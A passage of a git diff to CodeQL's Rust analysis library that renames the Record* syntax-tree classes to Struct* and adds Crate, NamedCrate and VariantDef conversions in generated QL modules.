+   * Converts a raw element to a synthesized `TNamedCrate`, if possible.
+   */
+  TNamedCrate convertNamedCrateFromRaw(Raw::Element e) { result = TNamedCrate(e) }
+
   /**
    * INTERNAL: Do not use.
    * Converts a raw element to a synthesized `TNeverTypeRepr`, if possible.
@@ -1501,145 +1526,145 @@ module Synth {
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordExpr`, if possible.
+   * Converts a raw element to a synthesized `TRefExpr`, if possible.
    */
-  TRecordExpr convertRecordExprFromRaw(Raw::Element e) { result = TRecordExpr(e) }
+  TRefExpr convertRefExprFromRaw(Raw::Element e) { result = TRefExpr(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordExprField`, if possible.
+   * Converts a raw element to a synthesized `TRefPat`, if possible.
    */
-  TRecordExprField convertRecordExprFieldFromRaw(Raw::Element e) { result = TRecordExprField(e) }
+  TRefPat convertRefPatFromRaw(Raw::Element e) { result = TRefPat(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordExprFieldList`, if possible.
+   * Converts a raw element to a synthesized `TRefTypeRepr`, if possible.
    */
-  TRecordExprFieldList convertRecordExprFieldListFromRaw(Raw::Element e) {
-    result = TRecordExprFieldList(e)
-  }
+  TRefTypeRepr convertRefTypeReprFromRaw(Raw::Element e) { result = TRefTypeRepr(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordField`, if possible.
+   * Converts a raw element to a synthesized `TRename`, if possible.
    */
-  TRecordField convertRecordFieldFromRaw(Raw::Element e) { result = TRecordField(e) }
+  TRename convertRenameFromRaw(Raw::Element e) { result = TRename(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordFieldList`, if possible.
+   * Converts a raw element to a synthesized `TRestPat`, if possible.
    */
-  TRecordFieldList convertRecordFieldListFromRaw(Raw::Element e) { result = TRecordFieldList(e) }
+  TRestPat convertRestPatFromRaw(Raw::Element e) { result = TRestPat(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordPat`, if possible.
+   * Converts a raw element to a synthesized `TRetTypeRepr`, if possible.
    */
-  TRecordPat convertRecordPatFromRaw(Raw::Element e) { result = TRecordPat(e) }
+  TRetTypeRepr convertRetTypeReprFromRaw(Raw::Element e) { result = TRetTypeRepr(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordPatField`, if possible.
+   * Converts a raw element to a synthesized `TReturnExpr`, if possible.
    */
-  TRecordPatField convertRecordPatFieldFromRaw(Raw::Element e) { result = TRecordPatField(e) }
+  TReturnExpr convertReturnExprFromRaw(Raw::Element e) { result = TReturnExpr(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRecordPatFieldList`, if possible.
+   * Converts a raw element to a synthesized `TReturnTypeSyntax`, if possible.
    */
-  TRecordPatFieldList convertRecordPatFieldListFromRaw(Raw::Element e) {
-    result = TRecordPatFieldList(e)
-  }
+  TReturnTypeSyntax convertReturnTypeSyntaxFromRaw(Raw::Element e) { result = TReturnTypeSyntax(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRefExpr`, if possible.
+   * Converts a raw element to a synthesized `TSelfParam`, if possible.
    */
-  TRefExpr convertRefExprFromRaw(Raw::Element e) { result = TRefExpr(e) }
+  TSelfParam convertSelfParamFromRaw(Raw::Element e) { result = TSelfParam(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRefPat`, if possible.
+   * Converts a raw element to a synthesized `TSlicePat`, if possible.
    */
-  TRefPat convertRefPatFromRaw(Raw::Element e) { result = TRefPat(e) }
+  TSlicePat convertSlicePatFromRaw(Raw::Element e) { result = TSlicePat(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRefTypeRepr`, if possible.
+   * Converts a raw element to a synthesized `TSliceTypeRepr`, if possible.
    */
-  TRefTypeRepr convertRefTypeReprFromRaw(Raw::Element e) { result = TRefTypeRepr(e) }
+  TSliceTypeRepr convertSliceTypeReprFromRaw(Raw::Element e) { result = TSliceTypeRepr(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRename`, if possible.
+   * Converts a raw element to a synthesized `TSourceFile`, if possible.
    */
-  TRename convertRenameFromRaw(Raw::Element e) { result = TRename(e) }
+  TSourceFile convertSourceFileFromRaw(Raw::Element e) { result = TSourceFile(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRestPat`, if possible.
+   * Converts a raw element to a synthesized `TStatic`, if possible.
    */
-  TRestPat convertRestPatFromRaw(Raw::Element e) { result = TRestPat(e) }
+  TStatic convertStaticFromRaw(Raw::Element e) { result = TStatic(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TRetTypeRepr`, if possible.
+   * Converts a raw element to a synthesized `TStmtList`, if possible.
    */
-  TRetTypeRepr convertRetTypeReprFromRaw(Raw::Element e) { result = TRetTypeRepr(e) }
+  TStmtList convertStmtListFromRaw(Raw::Element e) { result = TStmtList(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TReturnExpr`, if possible.
+   * Converts a raw element to a synthesized `TStruct`, if possible.
    */
-  TReturnExpr convertReturnExprFromRaw(Raw::Element e) { result = TReturnExpr(e) }
+  TStruct convertStructFromRaw(Raw::Element e) { result = TStruct(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TReturnTypeSyntax`, if possible.
+   * Converts a raw element to a synthesized `TStructExpr`, if possible.
    */
-  TReturnTypeSyntax convertReturnTypeSyntaxFromRaw(Raw::Element e) { result = TReturnTypeSyntax(e) }
+  TStructExpr convertStructExprFromRaw(Raw::Element e) { result = TStructExpr(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TSelfParam`, if possible.
+   * Converts a raw element to a synthesized `TStructExprField`, if possible.
    */
-  TSelfParam convertSelfParamFromRaw(Raw::Element e) { result = TSelfParam(e) }
+  TStructExprField convertStructExprFieldFromRaw(Raw::Element e) { result = TStructExprField(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TSlicePat`, if possible.
+   * Converts a raw element to a synthesized `TStructExprFieldList`, if possible.
    */
-  TSlicePat convertSlicePatFromRaw(Raw::Element e) { result = TSlicePat(e) }
+  TStructExprFieldList convertStructExprFieldListFromRaw(Raw::Element e) {
+    result = TStructExprFieldList(e)
+  }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TSliceTypeRepr`, if possible.
+   * Converts a raw element to a synthesized `TStructField`, if possible.
    */
-  TSliceTypeRepr convertSliceTypeReprFromRaw(Raw::Element e) { result = TSliceTypeRepr(e) }
+  TStructField convertStructFieldFromRaw(Raw::Element e) { result = TStructField(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TSourceFile`, if possible.
+   * Converts a raw element to a synthesized `TStructFieldList`, if possible.
    */
-  TSourceFile convertSourceFileFromRaw(Raw::Element e) { result = TSourceFile(e) }
+  TStructFieldList convertStructFieldListFromRaw(Raw::Element e) { result = TStructFieldList(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TStatic`, if possible.
+   * Converts a raw element to a synthesized `TStructPat`, if possible.
    */
-  TStatic convertStaticFromRaw(Raw::Element e) { result = TStatic(e) }
+  TStructPat convertStructPatFromRaw(Raw::Element e) { result = TStructPat(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TStmtList`, if possible.
+   * Converts a raw element to a synthesized `TStructPatField`, if possible.
    */
-  TStmtList convertStmtListFromRaw(Raw::Element e) { result = TStmtList(e) }
+  TStructPatField convertStructPatFieldFromRaw(Raw::Element e) { result = TStructPatField(e) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a raw element to a synthesized `TStruct`, if possible.
+   * Converts a raw element to a synthesized `TStructPatFieldList`, if possible.
    */
-  TStruct convertStructFromRaw(Raw::Element e) { result = TStruct(e) }
+  TStructPatFieldList convertStructPatFieldListFromRaw(Raw::Element e) {
+    result = TStructPatFieldList(e)
+  }
 
   /**
    * INTERNAL: Do not use.
@@ -1972,16 +1997,6 @@ module Synth {
     or
     result = convertPathSegmentFromRaw(e)
     or
-    result = convertRecordExprFieldFromRaw(e)
-    or
-    result = convertRecordExprFieldListFromRaw(e)
-    or
-    result = convertRecordFieldFromRaw(e)
-    or
-    result = convertRecordPatFieldFromRaw(e)
-    or
-    result = convertRecordPatFieldListFromRaw(e)
-    or
     result = convertRenameFromRaw(e)
     or
     result = convertResolvableFromRaw(e)
@@ -1996,6 +2011,16 @@ module Synth {
     or
     result = convertStmtListFromRaw(e)
     or
+    result = convertStructExprFieldFromRaw(e)
+    or
+    result = convertStructExprFieldListFromRaw(e)
+    or
+    result = convertStructFieldFromRaw(e)
+    or
+    result = convertStructPatFieldFromRaw(e)
+    or
+    result = convertStructPatFieldListFromRaw(e)
+    or
     result = convertTokenFromRaw(e)
     or
     result = convertTokenTreeFromRaw(e)
@@ -2016,6 +2041,8 @@ module Synth {
     or
     result = convertUseTreeListFromRaw(e)
     or
+    result = convertVariantDefFromRaw(e)
+    or
     result = convertVariantListFromRaw(e)
     or
     result = convertVisibilityFromRaw(e)
@@ -2054,6 +2081,8 @@ module Synth {
     or
     result = convertLocatableFromRaw(e)
     or
+    result = convertNamedCrateFromRaw(e)
+    or
     result = convertUnextractedFromRaw(e)
   }
 
@@ -2112,12 +2141,12 @@ module Synth {
     or
     result = convertRangeExprFromRaw(e)
     or
-    result = convertRecordExprFromRaw(e)
-    or
     result = convertRefExprFromRaw(e)
     or
     result = convertReturnExprFromRaw(e)
     or
+    result = convertStructExprFromRaw(e)
+    or
     result = convertTryExprFromRaw(e)
     or
     result = convertTupleExprFromRaw(e)
@@ -2148,7 +2177,7 @@ module Synth {
    * Converts a raw DB element to a synthesized `TFieldList`, if possible.
    */
   TFieldList convertFieldListFromRaw(Raw::Element e) {
-    result = convertRecordFieldListFromRaw(e)
+    result = convertStructFieldListFromRaw(e)
     or
     result = convertTupleFieldListFromRaw(e)
   }
@@ -2236,6 +2265,8 @@ module Synth {
   TLocatable convertLocatableFromRaw(Raw::Element e) {
     result = convertAstNodeFromRaw(e)
     or
+    result = convertCrateFromRaw(e)
+    or
     result = convertFormatFromRaw(e)
     or
     result = convertFormatArgumentFromRaw(e)
@@ -2286,14 +2317,14 @@ module Synth {
     or
     result = convertRangePatFromRaw(e)
     or
-    result = convertRecordPatFromRaw(e)
-    or
     result = convertRefPatFromRaw(e)
     or
     result = convertRestPatFromRaw(e)
     or
     result = convertSlicePatFromRaw(e)
     or
+    result = convertStructPatFromRaw(e)
+    or
     result = convertTuplePatFromRaw(e)
     or
     result = convertTupleStructPatFromRaw(e)
@@ -2310,9 +2341,9 @@ module Synth {
     or
     result = convertPathPatFromRaw(e)
     or
-    result = convertRecordExprFromRaw(e)
+    result = convertStructExprFromRaw(e)
     or
-    result = convertRecordPatFromRaw(e)
+    result = convertStructPatFromRaw(e)
     or
     result = convertTupleStructPatFromRaw(e)
   }
@@ -2409,6 +2440,18 @@ module Synth {
     result = convertNameRefFromRaw(e)
   }
 
+  /**
+   * INTERNAL: Do not use.
+   * Converts a raw DB element to a synthesized `TVariantDef`, if possible.
+   */
+  TVariantDef convertVariantDefFromRaw(Raw::Element e) {
+    result = convertStructFromRaw(e)
+    or
+    result = convertUnionFromRaw(e)
+    or
+    result = convertVariantFromRaw(e)
+  }
+
   /**
    * INTERNAL: Do not use.
    * Converts a synthesized `TAbi` to a raw DB element, if possible.
@@ -2633,6 +2676,12 @@ module Synth {
    */
   Raw::Element convertContinueExprToRaw(TContinueExpr e) { e = TContinueExpr(result) }
 
+  /**
+   * INTERNAL: Do not use.
+   * Converts a synthesized `TCrate` to a raw DB element, if possible.
+   */
+  Raw::Element convertCrateToRaw(TCrate e) { e = TCrate(result) }
+
   /**
    * INTERNAL: Do not use.
    * Converts a synthesized `TDynTraitTypeRepr` to a raw DB element, if possible.
@@ -2959,6 +3008,12 @@ module Synth {
    */
   Raw::Element convertNameRefToRaw(TNameRef e) { e = TNameRef(result) }
 
+  /**
+   * INTERNAL: Do not use.
+   * Converts a synthesized `TNamedCrate` to a raw DB element, if possible.
+   */
+  Raw::Element convertNamedCrateToRaw(TNamedCrate e) { e = TNamedCrate(result) }
+
   /**
    * INTERNAL: Do not use.
    * Converts a synthesized `TNeverTypeRepr` to a raw DB element, if possible.
@@ -3071,145 +3126,145 @@ module Synth {
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordExpr` to a raw DB element, if possible.
+   * Converts a synthesized `TRefExpr` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordExprToRaw(TRecordExpr e) { e = TRecordExpr(result) }
+  Raw::Element convertRefExprToRaw(TRefExpr e) { e = TRefExpr(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordExprField` to a raw DB element, if possible.
+   * Converts a synthesized `TRefPat` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordExprFieldToRaw(TRecordExprField e) { e = TRecordExprField(result) }
+  Raw::Element convertRefPatToRaw(TRefPat e) { e = TRefPat(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordExprFieldList` to a raw DB element, if possible.
+   * Converts a synthesized `TRefTypeRepr` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordExprFieldListToRaw(TRecordExprFieldList e) {
-    e = TRecordExprFieldList(result)
-  }
+  Raw::Element convertRefTypeReprToRaw(TRefTypeRepr e) { e = TRefTypeRepr(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordField` to a raw DB element, if possible.
+   * Converts a synthesized `TRename` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordFieldToRaw(TRecordField e) { e = TRecordField(result) }
+  Raw::Element convertRenameToRaw(TRename e) { e = TRename(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordFieldList` to a raw DB element, if possible.
+   * Converts a synthesized `TRestPat` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordFieldListToRaw(TRecordFieldList e) { e = TRecordFieldList(result) }
+  Raw::Element convertRestPatToRaw(TRestPat e) { e = TRestPat(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordPat` to a raw DB element, if possible.
+   * Converts a synthesized `TRetTypeRepr` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordPatToRaw(TRecordPat e) { e = TRecordPat(result) }
+  Raw::Element convertRetTypeReprToRaw(TRetTypeRepr e) { e = TRetTypeRepr(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordPatField` to a raw DB element, if possible.
+   * Converts a synthesized `TReturnExpr` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordPatFieldToRaw(TRecordPatField e) { e = TRecordPatField(result) }
+  Raw::Element convertReturnExprToRaw(TReturnExpr e) { e = TReturnExpr(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRecordPatFieldList` to a raw DB element, if possible.
+   * Converts a synthesized `TReturnTypeSyntax` to a raw DB element, if possible.
    */
-  Raw::Element convertRecordPatFieldListToRaw(TRecordPatFieldList e) {
-    e = TRecordPatFieldList(result)
-  }
+  Raw::Element convertReturnTypeSyntaxToRaw(TReturnTypeSyntax e) { e = TReturnTypeSyntax(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRefExpr` to a raw DB element, if possible.
+   * Converts a synthesized `TSelfParam` to a raw DB element, if possible.
    */
-  Raw::Element convertRefExprToRaw(TRefExpr e) { e = TRefExpr(result) }
+  Raw::Element convertSelfParamToRaw(TSelfParam e) { e = TSelfParam(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRefPat` to a raw DB element, if possible.
+   * Converts a synthesized `TSlicePat` to a raw DB element, if possible.
    */
-  Raw::Element convertRefPatToRaw(TRefPat e) { e = TRefPat(result) }
+  Raw::Element convertSlicePatToRaw(TSlicePat e) { e = TSlicePat(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRefTypeRepr` to a raw DB element, if possible.
+   * Converts a synthesized `TSliceTypeRepr` to a raw DB element, if possible.
    */
-  Raw::Element convertRefTypeReprToRaw(TRefTypeRepr e) { e = TRefTypeRepr(result) }
+  Raw::Element convertSliceTypeReprToRaw(TSliceTypeRepr e) { e = TSliceTypeRepr(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRename` to a raw DB element, if possible.
+   * Converts a synthesized `TSourceFile` to a raw DB element, if possible.
    */
-  Raw::Element convertRenameToRaw(TRename e) { e = TRename(result) }
+  Raw::Element convertSourceFileToRaw(TSourceFile e) { e = TSourceFile(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRestPat` to a raw DB element, if possible.
+   * Converts a synthesized `TStatic` to a raw DB element, if possible.
    */
-  Raw::Element convertRestPatToRaw(TRestPat e) { e = TRestPat(result) }
+  Raw::Element convertStaticToRaw(TStatic e) { e = TStatic(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TRetTypeRepr` to a raw DB element, if possible.
+   * Converts a synthesized `TStmtList` to a raw DB element, if possible.
    */
-  Raw::Element convertRetTypeReprToRaw(TRetTypeRepr e) { e = TRetTypeRepr(result) }
+  Raw::Element convertStmtListToRaw(TStmtList e) { e = TStmtList(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TReturnExpr` to a raw DB element, if possible.
+   * Converts a synthesized `TStruct` to a raw DB element, if possible.
    */
-  Raw::Element convertReturnExprToRaw(TReturnExpr e) { e = TReturnExpr(result) }
+  Raw::Element convertStructToRaw(TStruct e) { e = TStruct(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TReturnTypeSyntax` to a raw DB element, if possible.
+   * Converts a synthesized `TStructExpr` to a raw DB element, if possible.
    */
-  Raw::Element convertReturnTypeSyntaxToRaw(TReturnTypeSyntax e) { e = TReturnTypeSyntax(result) }
+  Raw::Element convertStructExprToRaw(TStructExpr e) { e = TStructExpr(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TSelfParam` to a raw DB element, if possible.
+   * Converts a synthesized `TStructExprField` to a raw DB element, if possible.
    */
-  Raw::Element convertSelfParamToRaw(TSelfParam e) { e = TSelfParam(result) }
+  Raw::Element convertStructExprFieldToRaw(TStructExprField e) { e = TStructExprField(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TSlicePat` to a raw DB element, if possible.
+   * Converts a synthesized `TStructExprFieldList` to a raw DB element, if possible.
    */
-  Raw::Element convertSlicePatToRaw(TSlicePat e) { e = TSlicePat(result) }
+  Raw::Element convertStructExprFieldListToRaw(TStructExprFieldList e) {
+    e = TStructExprFieldList(result)
+  }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TSliceTypeRepr` to a raw DB element, if possible.
+   * Converts a synthesized `TStructField` to a raw DB element, if possible.
    */
-  Raw::Element convertSliceTypeReprToRaw(TSliceTypeRepr e) { e = TSliceTypeRepr(result) }
+  Raw::Element convertStructFieldToRaw(TStructField e) { e = TStructField(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TSourceFile` to a raw DB element, if possible.
+   * Converts a synthesized `TStructFieldList` to a raw DB element, if possible.
    */
-  Raw::Element convertSourceFileToRaw(TSourceFile e) { e = TSourceFile(result) }
+  Raw::Element convertStructFieldListToRaw(TStructFieldList e) { e = TStructFieldList(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TStatic` to a raw DB element, if possible.
+   * Converts a synthesized `TStructPat` to a raw DB element, if possible.
    */
-  Raw::Element convertStaticToRaw(TStatic e) { e = TStatic(result) }
+  Raw::Element convertStructPatToRaw(TStructPat e) { e = TStructPat(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TStmtList` to a raw DB element, if possible.
+   * Converts a synthesized `TStructPatField` to a raw DB element, if possible.
    */
-  Raw::Element convertStmtListToRaw(TStmtList e) { e = TStmtList(result) }
+  Raw::Element convertStructPatFieldToRaw(TStructPatField e) { e = TStructPatField(result) }
 
   /**
    * INTERNAL: Do not use.
-   * Converts a synthesized `TStruct` to a raw DB element, if possible.
+   * Converts a synthesized `TStructPatFieldList` to a raw DB element, if possible.
    */
-  Raw::Element convertStructToRaw(TStruct e) { e = TStruct(result) }
+  Raw::Element convertStructPatFieldListToRaw(TStructPatFieldList e) {
+    e = TStructPatFieldList(result)
+  }
 
   /**
    * INTERNAL: Do not use.
@@ -3542,16 +3597,6 @@ module Synth {
     or
     result = convertPathSegmentToRaw(e)
     or
-    result = convertRecordExprFieldToRaw(e)
-    or
-    result = convertRecordExprFieldListToRaw(e)
-    or
-    result = convertRecordFieldToRaw(e)
-    or
-    result = convertRecordPatFieldToRaw(e)
-    or
-    result = convertRecordPatFieldListToRaw(e)
-    or
     result = convertRenameToRaw(e)
     or
     result = convertResolvableToRaw(e)
@@ -3566,6 +3611,16 @@ module Synth {
     or
     result = convertStmtListToRaw(e)
     or
+    result = convertStructExprFieldToRaw(e)
+    or
+    result = convertStructExprFieldListToRaw(e)
+    or
+    result = convertStructFieldToRaw(e)
+    or
+    result = convertStructPatFieldToRaw(e)
+    or
+    result = convertStructPatFieldListToRaw(e)
+    or
     result = convertTokenToRaw(e)
     or
     result = convertTokenTreeToRaw(e)
@@ -3586,6 +3641,8 @@ module Synth {
     or
     result = convertUseTreeListToRaw(e)
     or
+    result = convertVariantDefToRaw(e)
+    or
     result = convertVariantListToRaw(e)
     or
     result = convertVisibilityToRaw(e)
@@ -3624,6 +3681,8 @@ module Synth {
     or
     result = convertLocatableToRaw(e)
     or
+    result = convertNamedCrateToRaw(e)
+    or
     result = convertUnextractedToRaw(e)
   }
 
@@ -3682,12 +3741,12 @@ module Synth {
     or
     result = convertRangeExprToRaw(e)
     or
-    result = convertRecordExprToRaw(e)
-    or
     result = convertRefExprToRaw(e)
     or
     result = convertReturnExprToRaw(e)
     or
+    result = convertStructExprToRaw(e)
+    or
     result = convertTryExprToRaw(e)
     or
     result = convertTupleExprToRaw(e)
@@ -3718,7 +3777,7 @@ module Synth {
    * Converts a synthesized `TFieldList` to a raw DB element, if possible.
    */
   Raw::Element convertFieldListToRaw(TFieldList e) {
-    result = convertRecordFieldListToRaw(e)
+    result = convertStructFieldListToRaw(e)
     or
     result = convertTupleFieldListToRaw(e)
   }
@@ -3806,6 +3865,8 @@ module Synth {
   Raw::Element convertLocatableToRaw(TLocatable e) {
     result = convertAstNodeToRaw(e)
     or
+    result = convertCrateToRaw(e)
+    or
     result = convertFormatToRaw(e)
     or
     result = convertFormatArgumentToRaw(e)
@@ -3856,14 +3917,14 @@ module Synth {
     or
     result = convertRangePatToRaw(e)
     or
-    result = convertRecordPatToRaw(e)
-    or
     result = convertRefPatToRaw(e)
     or
     result = convertRestPatToRaw(e)
     or
     result = convertSlicePatToRaw(e)
     or
+    result = convertStructPatToRaw(e)
+    or
     result = convertTuplePatToRaw(e)
     or
     result = convertTupleStructPatToRaw(e)
@@ -3880,9 +3941,9 @@ module Synth {
     or
     result = convertPathPatToRaw(e)
     or
-    result = convertRecordExprToRaw(e)
+    result = convertStructExprToRaw(e)
     or
-    result = convertRecordPatToRaw(e)
+    result = convertStructPatToRaw(e)
     or
     result = convertTupleStructPatToRaw(e)
   }
@@ -3978,4 +4039,16 @@ module Synth {
     or
     result = convertNameRefToRaw(e)
   }
+
+  /**
+   * INTERNAL: Do not use.
+   * Converts a synthesized `TVariantDef` to a raw DB element, if possible.
+   */
+  Raw::Element convertVariantDefToRaw(TVariantDef e) {
+    result = convertStructToRaw(e)
+    or
+    result = convertUnionToRaw(e)
+    or
+    result = convertVariantToRaw(e)
+  }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll
index 7cfc9bda34f4..9be635b767ed 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SynthConstructors.qll
@@ -40,6 +40,7 @@ import codeql.rust.elements.internal.ConstArgConstructor
 import codeql.rust.elements.internal.ConstBlockPatConstructor
 import codeql.rust.elements.internal.ConstParamConstructor
 import codeql.rust.elements.internal.ContinueExprConstructor
+import codeql.rust.elements.internal.CrateConstructor
 import codeql.rust.elements.internal.DynTraitTypeReprConstructor
 import codeql.rust.elements.internal.EnumConstructor
 import codeql.rust.elements.internal.ExprStmtConstructor
@@ -94,6 +95,7 @@ import codeql.rust.elements.internal.MissingConstructor
 import codeql.rust.elements.internal.ModuleConstructor
 import codeql.rust.elements.internal.NameConstructor
 import codeql.rust.elements.internal.NameRefConstructor
+import codeql.rust.elements.internal.NamedCrateConstructor
 import codeql.rust.elements.internal.NeverTypeReprConstructor
 import codeql.rust.elements.internal.OffsetOfExprConstructor
 import codeql.rust.elements.internal.OrPatConstructor
@@ -112,14 +114,6 @@ import codeql.rust.elements.internal.PrefixExprConstructor
 import codeql.rust.elements.internal.PtrTypeReprConstructor
 import codeql.rust.elements.internal.RangeExprConstructor
 import codeql.rust.elements.internal.RangePatConstructor
-import codeql.rust.elements.internal.RecordExprConstructor
-import codeql.rust.elements.internal.RecordExprFieldConstructor
-import codeql.rust.elements.internal.RecordExprFieldListConstructor
-import codeql.rust.elements.internal.RecordFieldConstructor
-import codeql.rust.elements.internal.RecordFieldListConstructor
-import codeql.rust.elements.internal.RecordPatConstructor
-import codeql.rust.elements.internal.RecordPatFieldConstructor
-import codeql.rust.elements.internal.RecordPatFieldListConstructor
 import codeql.rust.elements.internal.RefExprConstructor
 import codeql.rust.elements.internal.RefPatConstructor
 import codeql.rust.elements.internal.RefTypeReprConstructor
@@ -135,6 +129,14 @@ import codeql.rust.elements.internal.SourceFileConstructor
 import codeql.rust.elements.internal.StaticConstructor
 import codeql.rust.elements.internal.StmtListConstructor
 import codeql.rust.elements.internal.StructConstructor
+import codeql.rust.elements.internal.StructExprConstructor
+import codeql.rust.elements.internal.StructExprFieldConstructor
+import codeql.rust.elements.internal.StructExprFieldListConstructor
+import codeql.rust.elements.internal.StructFieldConstructor
+import codeql.rust.elements.internal.StructFieldListConstructor
+import codeql.rust.elements.internal.StructPatConstructor
+import codeql.rust.elements.internal.StructPatFieldConstructor
+import codeql.rust.elements.internal.StructPatFieldListConstructor
 import codeql.rust.elements.internal.TokenTreeConstructor
 import codeql.rust.elements.internal.TraitConstructor
 import codeql.rust.elements.internal.TraitAliasConstructor
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll
index b460194cdc35..7f2f904bd437 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeAlias.qll
@@ -23,9 +23,14 @@ import codeql.rust.elements.WhereClause
  */
 module Generated {
   /**
-   * A TypeAlias. For example:
+   * A type alias. For example:
    * ```rust
-   * todo!()
+   * type Point = (u8, u8);
+   *
+   * trait Trait {
+   *     type Output;
+   * //  ^^^^^^^^^^^
+   * }
    * ```
    * INTERNAL: Do not reference the `Generated::TypeAlias` class directly.
    * Use the subclass `TypeAlias`, where the following predicates are available.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll
index a456d5b56e74..3959835cde0e 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll
@@ -10,7 +10,8 @@ import codeql.rust.elements.Attr
 import codeql.rust.elements.GenericParamList
 import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl
 import codeql.rust.elements.Name
-import codeql.rust.elements.RecordFieldList
+import codeql.rust.elements.StructFieldList
+import codeql.rust.elements.internal.VariantDefImpl::Impl as VariantDefImpl
 import codeql.rust.elements.Visibility
 import codeql.rust.elements.WhereClause
 
@@ -27,7 +28,7 @@ module Generated {
    * INTERNAL: Do not reference the `Generated::Union` class directly.
    * Use the subclass `Union`, where the following predicates are available.
    */
-  class Union extends Synth::TUnion, ItemImpl::Item {
+  class Union extends Synth::TUnion, ItemImpl::Item, VariantDefImpl::VariantDef {
     override string getAPrimaryQlClass() { result = "Union" }
 
     /**
@@ -75,19 +76,19 @@ module Generated {
     final predicate hasName() { exists(this.getName()) }
 
     /**
-     * Gets the record field list of this union, if it exists.
+     * Gets the struct field list of this union, if it exists.
      */
-    RecordFieldList getRecordFieldList() {
+    StructFieldList getStructFieldList() {
       result =
-        Synth::convertRecordFieldListFromRaw(Synth::convertUnionToRaw(this)
+        Synth::convertStructFieldListFromRaw(Synth::convertUnionToRaw(this)
               .(Raw::Union)
-              .getRecordFieldList())
+              .getStructFieldList())
     }
 
     /**
-     * Holds if `getRecordFieldList()` exists.
+     * Holds if `getStructFieldList()` exists.
      */
-    final predicate hasRecordFieldList() { exists(this.getRecordFieldList()) }
+    final predicate hasStructFieldList() { exists(this.getStructFieldList()) }
 
     /**
      * Gets the visibility of this union, if it exists.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll
